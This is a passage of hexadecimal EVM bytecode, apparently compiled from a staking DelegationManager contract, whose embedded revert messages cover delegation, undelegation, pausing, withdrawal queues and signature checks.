813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f